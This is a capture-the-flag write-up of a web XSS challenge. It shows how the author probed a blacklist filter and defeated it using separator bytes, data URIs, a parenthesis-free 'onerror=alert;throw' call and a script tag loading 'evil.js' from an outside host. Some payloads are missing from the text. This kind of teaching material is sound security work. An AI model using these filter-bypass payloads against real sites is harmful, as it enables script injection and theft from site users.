As you may already know, we recently held our very first XSS challenge with the prize being a book of choice in information security. This challenge was a bit tricky and if you didn’t focus on the right path you would end up getting no results. We received around 10k requests (around 2MB of data, thanks for not using scanners) from attendees trying to solve our challenge.
The main goal of this challenge was divided into three criteria:
- Reverse engineering of blackbox filters
- Finding a way to bypass attribute RegExp filter
Now we will discuss all three problems…
Part I : Reverse engineering of filters
The first test is obviously script tag itself. I will try by injecting the following payloads:
<script>alert(0);</script> <scrIpt>alert(0);</script> <script src="http://zdresearch.com/evil.js"> <%0ascript SrC="http://zdresearch.com/evil.js"> <scri%00ipt>alert(0);</script>
And I got the following results:
[+] Injected Data : _ [+] Injected Data : _ [+] Injected Data : _ [+] Injected Data : <_script_"_zdresearch_com_evil__"> [+] Injected Data : <scri_ipt>alert_0_;<_script>
Up to know I can easily understand script tag is filtered. On top of that, all src , / , http:// , .js , () words are filtered and replaced by underscore (_).
At this point we have to find a valid tag with attributes, for example we can go for a tag with href:
Will have following output:
[+] Injected Data : <a_"_zdresearch_com">Here<_a>
<a href="zdresearch.com" onmouseover=alert('yes!')>Here</a>
Will have following output:
Terrible, onmouseover is filtered too. We can try other on* attributes and realize that filter is for on*.
This is not cool at all; if we can’t use any attributes can we still exploit a vulnerability? Of course we can. We can use other tags with great attributes like <form> and <isindex>; both of which support action attributes, hopefully letting us bypass all the filters with our ninja skills!
Now we’re going to inject isindex with action attribute:
<isindex action="javas	cript:alert('/ninja skills/')" type=image>
And we will get amazing response:
[+] Injected Data : _
What the hole? our ninja shurikan failed! We got a simple
_ as the result of our input, which is not fair at all.
OK lets understand where the problem is. <isindex> or action or both are filtered, and by trying them out we realize both are filtered in the server.
so for sure we can bypass such filter by using <button> tag and formaction !!! this is the answer.
Now we inject :
And we get expected results:
[+] Injected Data : _
Crraaapp 😐 Now what? We can think of totally different payloads and get closer to the answer of the challenge. <object> tag and data URI too!
Let’s instantly inject:
And then we get the following smelly message:
[+] Injected Data : _
Awesome 😐 what the heck is going on here? Is this challenge even solvable? Of course yes, the difference between newbies and pros is at this point. Pros never give up. So what if we can find another tag and inject a base64 encoded payload? Lets try a plain base64 payload first.
[+] Injected Data : data_text_html_PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
Good 😐 I can’t imagine how many RegExps were used for filtering all these kinds of inputs, but I assume a number around 130 different ones.
Can HTML symbols save us here? Indeed! &sol &tab &colon &NewLine and so on are some possible solutions!
Now we will inject them all without a tag:
&sol &tab &colon &NewLine
[+] Injected Data : _ _ _ _
OK, OK. I got it. These can’t help as well 🙁 I successfully reverse engineered filters and I shall give up in peace now.
Part II : Finding a way to bypass attribute filters
From my point of view almost every blacklist filter can be broken, maybe too hard at some points but there is always a solution. If you know about character-sets like Unicode , ASCII and so on you should’ve heard about separators; separators are characters that will get parsed as a space character. Assume we have a RegExp like [on\w+\s*] for filtering on* attributes. If we can find non-space valid separators we should be able to bypass this filter. The best approach is to start fuzzing valid separators for each browser and possibly solve the challenge.
For example you can start fuzzing 00 to ff range:
#python snippet count = 0 for i in xrange(0x00,0xff): count += 0x1 print chr(i), print count
Now we can test these outputs, or we can rely on public information; for example separators list by one of our winners masato. Here are valid separators in different browsers:
# Tables IExplorer = [0x09,0x0B,0x0C,0x20,0x3B] Chrome = [0x09,0x20,0x28,0x2C,0x3B] Safari = [0x2C,0x3B] FireFox = [0x09,0x20,0x28,0x2C,0x3B] Opera = [0x09,0x20,0x2C,0x3B] Android = [0x09,0x20,0x28,0x2C,0x3B]
Our test tried latest Chrome/IE/FF and in this situation (Reflected-POST-XSS) we were only able to exploit Internet Explorer with current filters, but fortunately we can do it in all versions (6-10). Both 0x0C and 0x3B are valid.
As you can see in source code we successfully injected our payload to the page, so from now it’s easy to use any attributes and we can exploit it pretty straightforward.
Up to now we have passed attribute filters and found a useful tag, so lets continue solving the challenge.
And the result is:
Now we face another problem, if we Google for XSS without parentheses after a bit of searching we can find Gareth Heyes’ post on XSS technique without parentheses
No we can solve this new problem simply by using
onerror=alert;throw 1;, so lets try to inject it and get:
[+] Injected Data : _alert;Hello Gareth Heyes ;) 1;
throw replaced with Gareth Heyes! Seems like these filters won’t leave us be at any stage. Now we have to think a bit more about how we can still execute JS without parentheses…
I enumerated a few means:
– using setter (already dead)
– using innerHTML (filtered)
And we can get this output:
Finally! The challenge is solved and we have passes all filters. A note of import: our separators will not work on IE10. How to get past it? The solution is tricky but easy, we can use IE7 emulator inside IE10 using meta tag and iframe and since we did not use X-Frame-Options or DOCTYPE in our document, this attack is possible.
... <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" /> <iframe src="https://zdresearch.com/challenges/xss1/"> ....
.mario and insertScript solved our challenge using our intended solution. On top of that, mario used great html/js magic to make a PoC on IE10 without user interaction.
masato solved the challenge a little while after mario and insertScript but he surprised us because on top of IE he found a non trivial way to solve the challenge on FireFox and as Mozilla needs to patch this vector first, we can’t release it. All we can say is that it’s a real great vector, thus a big kudos to masato for solving the challenge using his own 0day method!
as a thanks for solving challenge:
Winners: . Mario Heidrich (.mario) & Alex @insertScript Prize: A Guide to Kernel Exploitation: Attacking the Core . Masato Kinugawa (@kinugawamasato) (Also the winner, due to exceptional solution. ) Prize: A Bug Hunter's Diary
Have Fun and thanks for trying. Stay tuned for our upcoming binary challenge (with prizes :D)